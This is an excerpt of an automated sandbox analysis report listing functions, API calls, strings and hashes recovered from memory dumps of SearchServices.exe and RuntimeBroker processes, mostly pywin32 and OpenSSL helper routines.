Instruction ID: 451e17aedb0c2602b7a3303fa8b1c3869d12227f7d4dd4d75137086464b6e0b2
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: AE11A035701B4482EA04CF66A84836973A5FB89FC0F0A922ACE8D97726DF78C042D301

Function 1D3A1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 1D3A1006
HeapAlloc.KERNEL32 ref: 1D3A1015
GetProcessHeap.KERNEL32 ref: 1D3A1028
HeapAlloc.KERNEL32 ref: 1D3A1037

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 952b2c0fe5133ab7956e2ef84fe5bf2b2b692290a663e8cebccb5d827e1e35ea
Instruction ID: 5d842730d9db768d95509526ed751006d54e83476851b2e8164c11082423c22a
Opcode Fuzzy Hash: 952b2c0fe5133ab7956e2ef84fe5bf2b2b692290a663e8cebccb5d827e1e35ea
Instruction Fuzzy Hash: 4EE04F75611A0487EB089F63D80839A77E1FB8CF16F48D026C9190B322EF3C85D9EB21

Analysis Process: SearchServices.exePID: 7556, Parent PID: 7240COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	3

Executed Functions

Function 0000021BB018273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 0000021BB01827DB
LoadLibraryA.KERNEL32 ref: 0000021BB018285E

Memory Dump Source

Source File: 0000000E.00000002.1945827934.0000021BB0180000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021BB0180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_21bb0180000_SearchServices.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 08ac7f885ef139a53b041a6e86e6fa2ddf118744a6fc51924106d891dc8c0ba9
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 5961C572B097A087DB5ACF1690487BD73B2F764B9CF588125EE5907B88DB38DA52C700

Non-executed Functions

Function 00007FFE0E16DA80 Relevance: 47.4, APIs: 16, Strings: 11, Instructions: 106
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FFE0E16DA93
LoadLibraryW.KERNEL32 ref: 00007FFE0E16DAA8
GetProcAddress.KERNEL32 ref: 00007FFE0E16DAC4
GetProcAddress.KERNEL32 ref: 00007FFE0E16DAE9
GetProcAddress.KERNEL32 ref: 00007FFE0E16DB0E
GetProcAddress.KERNEL32 ref: 00007FFE0E16DB33
GetProcAddress.KERNEL32 ref: 00007FFE0E16DB58
GetProcAddress.KERNEL32 ref: 00007FFE0E16DB7D
GetProcAddress.KERNEL32 ref: 00007FFE0E16DBA2
GetProcAddress.KERNEL32 ref: 00007FFE0E16DBC7
GetProcAddress.KERNEL32 ref: 00007FFE0E16DBEC
GetProcAddress.KERNEL32 ref: 00007FFE0E16DC11
InitializeCriticalSection.KERNEL32 ref: 00007FFE0E16DC3C
TlsAlloc.KERNEL32 ref: 00007FFE0E16DC42
DeleteCriticalSection.KERNEL32 ref: 00007FFE0E16DC62
TlsFree.KERNEL32 ref: 00007FFE0E16DC6E

Strings

AddAccessAllowedObjectAce, xrefs: 00007FFE0E16DB40
AdvAPI32.dll, xrefs: 00007FFE0E16DA8A, 00007FFE0E16DAA1
AddAuditAccessObjectAce, xrefs: 00007FFE0E16DBD4
AddAccessDeniedObjectAce, xrefs: 00007FFE0E16DB8A
AddAccessDeniedAce, xrefs: 00007FFE0E16DAD1
SetSecurityDescriptorControl, xrefs: 00007FFE0E16DBF9
AddAuditAccessAceEx, xrefs: 00007FFE0E16DBAF
AddMandatoryAce, xrefs: 00007FFE0E16DB1B
AddAccessDeniedAceEx, xrefs: 00007FFE0E16DB65
AddAccessAllowedAceEx, xrefs: 00007FFE0E16DAF6
AddAccessAllowedAce, xrefs: 00007FFE0E16DABA

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: AddressProc$CriticalSection$AllocDeleteFreeHandleInitializeLibraryLoadModule
String ID: AddAccessAllowedAce$AddAccessAllowedAceEx$AddAccessAllowedObjectAce$AddAccessDeniedAce$AddAccessDeniedAceEx$AddAccessDeniedObjectAce$AddAuditAccessAceEx$AddAuditAccessObjectAce$AddMandatoryAce$AdvAPI32.dll$SetSecurityDescriptorControl
API String ID: 3842108915-2689366622
Opcode ID: 387ec96725e58f7da26bb4657e5803a3416a64d063ccc3a64bc45aea58145d43
Instruction ID: 261cac6e1033824271ab7912fc9c4f458d86d700f5cd70b3c8c4b865cf5c3915
Opcode Fuzzy Hash: 387ec96725e58f7da26bb4657e5803a3416a64d063ccc3a64bc45aea58145d43
Instruction Fuzzy Hash: 84516D75B09B0B95FA859F15BD9423433A1AF88B91F9410BAD8CE82370EF7CE5898340

Function 00007FFE0E165A50 Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyArg_ParseTuple.PYTHON310 ref: 00007FFE0E165A91
_Py_NewReference.PYTHON310 ref: 00007FFE0E165B7E
PyUnicode_AsWideCharString.PYTHON310 ref: 00007FFE0E165BEB
PyErr_SetString.PYTHON310 ref: 00007FFE0E165C0A
CLSIDFromString.OLE32 ref: 00007FFE0E165C1C
CLSIDFromProgID.OLE32 ref: 00007FFE0E165C2D
PyMem_Free.PYTHON310 ref: 00007FFE0E165C3C
PyErr_SetString.PYTHON310 ref: 00007FFE0E165ACA

Part of subcall function 00007FFE0E16E348: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E16E362

PyObject_GetBuffer.PYTHON310 ref: 00007FFE0E165ADE
PyBuffer_Release.PYTHON310 ref: 00007FFE0E165AF9
PyErr_Format.PYTHON310 ref: 00007FFE0E165B13
PyErr_Format.PYTHON310 ref: 00007FFE0E165B49
PyBuffer_Release.PYTHON310 ref: 00007FFE0E165BA2
PyErr_SetString.PYTHON310 ref: 00007FFE0E165C99

Strings

string too small - must be at least %d bytes (got %d), xrefs: 00007FFE0E165B38
<NULL!!>, xrefs: 00007FFE0E165CAC
None is not a valid string in this context, xrefs: 00007FFE0E165C88
Objects of type '%s' can not be converted to Unicode., xrefs: 00007FFE0E165CB3
Buffer length can be at most %d characters, xrefs: 00007FFE0E165B02
Buffer cannot be None, xrefs: 00007FFE0E165AB9
Getting WCHAR string, xrefs: 00007FFE0E165BF9
O|i, xrefs: 00007FFE0E165A8A

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Err_String$Buffer_FormatFromRelease$Arg_BufferCharFreeMem_Object_ParseProgReferenceTupleUnicode_Widemalloc
String ID: <NULL!!>$Buffer cannot be None$Buffer length can be at most %d characters$Getting WCHAR string$None is not a valid string in this context$Objects of type '%s' can not be converted to Unicode.$O|i$string too small - must be at least %d bytes (got %d)
API String ID: 4105764891-2902820477
Opcode ID: e4855f07124c76122de47b81b0743fa435b09dbedae8e66998460b41079d3c18
Instruction ID: bea85a1d59551e17f7ac2998604e18433a275e5a9badcba6c757b5d0e0e8f9f8
Opcode Fuzzy Hash: e4855f07124c76122de47b81b0743fa435b09dbedae8e66998460b41079d3c18
Instruction Fuzzy Hash: CF81D621B09B0285FB54DB65E8642B823B2BB88B84F845537DECE966B5DF3CE545C340

Function 00007FFE0E167E60 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON310 ref: 00007FFE0E167E9C
PyErr_SetString.PYTHON310 ref: 00007FFE0E167ED6
GetSecurityDescriptorSacl.ADVAPI32 ref: 00007FFE0E167F1A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E167F32
SetSecurityDescriptorSacl.ADVAPI32 ref: 00007FFE0E167F45
GetSecurityDescriptorOwner.ADVAPI32 ref: 00007FFE0E167F98
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E167FAB
GetSecurityDescriptorGroup.ADVAPI32 ref: 00007FFE0E167FBC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E167FCF
GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FFE0E167FE4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E167FFD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E168006
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E16801C

Part of subcall function 00007FFE0E167740: IsValidSecurityDescriptor.ADVAPI32(?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E167750
Part of subcall function 00007FFE0E167740: PyErr_SetString.PYTHON310(?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16776B

Part of subcall function 00007FFE0E167B10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFE0E161901), ref: 00007FFE0E167B2B
Part of subcall function 00007FFE0E167B10: GetSecurityDescriptorLength.ADVAPI32(?,?,?,00007FFE0E161901), ref: 00007FFE0E167B34

Strings

The object is not a PyACL object, xrefs: 00007FFE0E167ECC
SetSecurityDescriptorSacl, xrefs: 00007FFE0E167F51
iOi:SetSacl, xrefs: 00007FFE0E167E93

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: DescriptorSecurityfree$Err_SaclString$Arg_DaclGroupLengthOwnerParseTupleValid
String ID: SetSecurityDescriptorSacl$The object is not a PyACL object$iOi:SetSacl
API String ID: 1467358711-1973599164
Opcode ID: 6a851df9c27b46c691b6ea0da2538a03d9f06fb8c6780307cb587a7dc782d07b
Instruction ID: 63bfbcf42d0c935431d5a0f6ad952ea47bd13177e95b0c4e08ca96966e378e71
Opcode Fuzzy Hash: 6a851df9c27b46c691b6ea0da2538a03d9f06fb8c6780307cb587a7dc782d07b
Instruction Fuzzy Hash: CD512822B09A1386FB558F61D8405F823B0BF48F88F444433ED9E966A5DF3CD58AC350

Function 00007FFE0E166A70 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 108COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON310 ref: 00007FFE0E166A9E
PyUnicode_AsUTF8.PYTHON310 ref: 00007FFE0E166ABF
_Py_Dealloc.PYTHON310 ref: 00007FFE0E166B5E

Strings

hEvent, xrefs: 00007FFE0E166AD3
Internal, xrefs: 00007FFE0E166B95
The object is not a PyHANDLE object, xrefs: 00007FFE0E166B2F
InternalHigh, xrefs: 00007FFE0E166BC4
can't delete OVERLAPPED attributes, xrefs: 00007FFE0E166A94

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: DeallocErr_StringUnicode_
String ID: Internal$InternalHigh$The object is not a PyHANDLE object$can't delete OVERLAPPED attributes$hEvent
API String ID: 3427960318-2811562281
Opcode ID: cd2fb7f062f6cc4cb5c08199e715a39059e4d8ed03045d349017dff69802b685
Instruction ID: 548322e0bbc1bc266ddf58d6a036d398f003204f89ecf5d5c2514247d6fd3aac
Opcode Fuzzy Hash: cd2fb7f062f6cc4cb5c08199e715a39059e4d8ed03045d349017dff69802b685
Instruction Fuzzy Hash: 54410A65B0CA43C1EA509B26E85017967B0FB89B94F584133DADE477B6EF3CE8518300

Function 00007FFE0E16AA90 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON310 ref: 00007FFE0E16AACF
PyUnicode_AsMBCSString.PYTHON310 ref: 00007FFE0E16AB01
PyErr_Format.PYTHON310 ref: 00007FFE0E16AB38

Strings

value is larger than a DWORD, xrefs: 00007FFE0E16AB73
None is not a valid string in this context, xrefs: 00007FFE0E16AAC5
Expected 'bytes', got '%s', xrefs: 00007FFE0E16AB2A

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Err_String$FormatUnicode_
String ID: Expected 'bytes', got '%s'$None is not a valid string in this context$value is larger than a DWORD
API String ID: 744494611-3495899980
Opcode ID: 03ecc1969751c2a9ebbd8cb1d420fa3d05faab83d928b905e1312d0b46821ea7
Instruction ID: 57873cec2fc5beece8350b721ec46913eb6a0166dd2ba72d84c62aa6455df171
Opcode Fuzzy Hash: 03ecc1969751c2a9ebbd8cb1d420fa3d05faab83d928b905e1312d0b46821ea7
Instruction Fuzzy Hash: F9412422A09B5386EA609F1AE85427963A1FF88FD0F144033EADE97775DE3DE4859300

Function 00007FFE0E16C680 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 89timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32 ref: 00007FFE0E16C6BD
FileTimeToSystemTime.KERNEL32 ref: 00007FFE0E16C6EF
FileTimeToSystemTime.KERNEL32 ref: 00007FFE0E16C722
PyLong_FromUnsignedLong.PYTHON310 ref: 00007FFE0E16C75B
PyLong_FromUnsignedLong.PYTHON310 ref: 00007FFE0E16C768
PyLong_FromUnsignedLong.PYTHON310 ref: 00007FFE0E16C775
PyLong_FromUnsignedLong.PYTHON310 ref: 00007FFE0E16C782
_Py_BuildValue_SizeT.PYTHON310 ref: 00007FFE0E16C7C0

Part of subcall function 00007FFE0E16C010: GetLastError.KERNEL32(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C02B
Part of subcall function 00007FFE0E16C010: FormatMessageW.KERNEL32(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C09A
Part of subcall function 00007FFE0E16C010: PyUnicode_DecodeMBCS.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C16B
Part of subcall function 00007FFE0E16C010: _Py_BuildValue_SizeT.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C180
Part of subcall function 00007FFE0E16C010: LocalFree.KERNEL32(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C198
Part of subcall function 00007FFE0E16C010: PyErr_SetObject.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C1AD
Part of subcall function 00007FFE0E16C010: _Py_Dealloc.PYTHON310(?,?,?,?,?,00000000,00000000,00007FFE0E16783D,?,?,00000000,00007FFE0E167BB2,?,?,?,00007FFE0E161901), ref: 00007FFE0E16C1BC

Part of subcall function 00007FFE0E16A130: PyObject_GetAttrString.PYTHON310(?,?,?,?,?,?,?,?,?,00007FFE0E1699AD), ref: 00007FFE0E16A174
Part of subcall function 00007FFE0E16A130: _Py_Dealloc.PYTHON310(?,?,?,?,?,?,?,?,?,00007FFE0E1699AD), ref: 00007FFE0E16A1D3

Strings

FileTimeToSystemTime, xrefs: 00007FFE0E16C6C9, 00007FFE0E16C6FB, 00007FFE0E16C72E
lNNNNNNNuu, xrefs: 00007FFE0E16C78B

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Time$FromLongLong_Unsigned$FileSystem$BuildDeallocSizeValue_$AttrDecodeErr_ErrorFormatFreeLastLocalMessageObjectObject_StringUnicode_
String ID: FileTimeToSystemTime$lNNNNNNNuu
API String ID: 198253700-4021486075
Opcode ID: 157d59000cf76b0f6afec037a81d45c94e44c84ec6d7f69d758c5e6aa39b4d16
Instruction ID: 828942611626f880405a035553cf27481a1d59b8e6007b16944d782dade1c061
Opcode Fuzzy Hash: 157d59000cf76b0f6afec037a81d45c94e44c84ec6d7f69d758c5e6aa39b4d16
Instruction Fuzzy Hash: EE413A36A09B8292E650DB11F8446AAB3B4FB88B84F854137EADE43B75DF3CE545C700

Function 00007FFE0E16AE80 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 74COMMON

Download Yara Rule

APIs

PyUnicode_AsWideCharString.PYTHON310 ref: 00007FFE0E16AEBA
PyErr_SetString.PYTHON310 ref: 00007FFE0E16AED9
PyErr_SetString.PYTHON310 ref: 00007FFE0E16AF2D
PyErr_SetString.PYTHON310 ref: 00007FFE0E16AF5F

Strings

value is larger than a DWORD, xrefs: 00007FFE0E16AF23
<NULL!!>, xrefs: 00007FFE0E16AF72
None is not a valid string in this context, xrefs: 00007FFE0E16AF55
Objects of type '%s' can not be converted to Unicode., xrefs: 00007FFE0E16AF80
Getting WCHAR string, xrefs: 00007FFE0E16AECF

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: String$Err_$CharUnicode_Wide
String ID: <NULL!!>$Getting WCHAR string$None is not a valid string in this context$Objects of type '%s' can not be converted to Unicode.$value is larger than a DWORD
API String ID: 3849944921-1275048830
Opcode ID: 99ac880fabbe2c66fd76a7f0b1a22e23ac9dcc271b2776d32e56e92dcdab823b
Instruction ID: cda47580b86baab525d628cf61ff219b447f107e66546064f9eb4051ac75f293
Opcode Fuzzy Hash: 99ac880fabbe2c66fd76a7f0b1a22e23ac9dcc271b2776d32e56e92dcdab823b
Instruction Fuzzy Hash: FC310861A19B4281EB90CF1AE49016963B0FF88F84F945173EADE93B75DF2CE8859701

Function 00007FFDEEF91D48 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FFDEF1D46BB
GetModuleHandleA.KERNEL32 ref: 00007FFDEF1D46CD
GetModuleHandleW.KERNEL32 ref: 00007FFDEF1D46DA
GetProcAddress.KERNEL32 ref: 00007FFDEF1D4742

Strings

_ssl_d.pyd, xrefs: 00007FFDEF1D46C6
_ssl.pyd, xrefs: 00007FFDEF1D46B4
OPENSSL_Uplink(%p,%02X): , xrefs: 00007FFDEF1D4652
OPENSSL_Applink, xrefs: 00007FFDEF1D473B

Memory Dump Source

Source File: 0000000E.00000002.1947303035.00007FFDEEF91000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFDEEF90000, based on PE: true

Associated: 0000000E.00000002.1947270514.00007FFDEEF90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEEF9D000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEEFF5000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF009000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF019000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF02D000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947303035.00007FFDEF1DC000.00000020.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF1DE000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF209000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF23A000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF260000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1947851136.00007FFDEF286000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948132026.00007FFDEF2AE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948160358.00007FFDEF2B4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2B6000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2D2000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000000E.00000002.1948209204.00007FFDEF2D6000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffdeef90000_SearchServices.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: OPENSSL_Applink$OPENSSL_Uplink(%p,%02X): $_ssl.pyd$_ssl_d.pyd
API String ID: 1883125708-1130596517
Opcode ID: a59ad196c7dd92c8529259541892207718703ab64594e6dd5a010e556f2476ad
Instruction ID: b18a7f572b222dbc83133b447544bf78fb1873655178863899c383882de6bd6c
Opcode Fuzzy Hash: a59ad196c7dd92c8529259541892207718703ab64594e6dd5a010e556f2476ad
Instruction Fuzzy Hash: B3513B26F0CB9682E6198F24E86037433A0FF69768F459335D96D822A5EF7DF5818303

Function 00007FFE0E167290 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FFE0E1672A8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E1672C3
GetSecurityDescriptorSacl.ADVAPI32 ref: 00007FFE0E1672DB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E1672F6
GetSecurityDescriptorOwner.ADVAPI32 ref: 00007FFE0E167309
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E16731D
GetSecurityDescriptorGroup.ADVAPI32 ref: 00007FFE0E167330
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE0E167344

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: DescriptorSecurityfree$DaclGroupOwnerSacl
String ID:
API String ID: 1788430091-0
Opcode ID: 8afffdee05cdfa7e5b5837ee4f72ae73a0da3ecba6ea94b073e6ee55398e1f43
Instruction ID: dce71fbe7c00adac2e4f75bddfc1fdba2a05eb50aa27e32a5a5595acf4f5571a
Opcode Fuzzy Hash: 8afffdee05cdfa7e5b5837ee4f72ae73a0da3ecba6ea94b073e6ee55398e1f43
Instruction Fuzzy Hash: AB21F721A0DA4386EB958F95E8542B96370FF89F84F581037EACE469B9DE6CD488C710

Function 00007FFE0E168650 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON310 ref: 00007FFE0E168666
IsValidSecurityDescriptor.ADVAPI32 ref: 00007FFE0E16867F

Strings

GetSecurityDescriptorSacl, xrefs: 00007FFE0E1686BB
:GetSecurityDescriptorSacl, xrefs: 00007FFE0E16865F
GetSecurityDescriptorSacl - invalid sd, xrefs: 00007FFE0E16868B

Memory Dump Source

Source File: 0000000E.00000002.1952274094.00007FFE0E161000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FFE0E160000, based on PE: true

Associated: 0000000E.00000002.1952235934.00007FFE0E160000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952371391.00007FFE0E170000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952401214.00007FFE0E17E000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000E.00000002.1952429013.00007FFE0E181000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffe0e160000_SearchServices.jbxd

Similarity

API ID: Arg_DescriptorParseSecurityTupleValid
String ID: :GetSecurityDescriptorSacl$GetSecurityDescriptorSacl$GetSecurityDescriptorSacl - invalid sd
API String ID: 1292091245-3167575759
Opcode ID: 1526c10d909daef688803ff3cf159990ff247de9edd7ef98b8084c61a2f9eac9
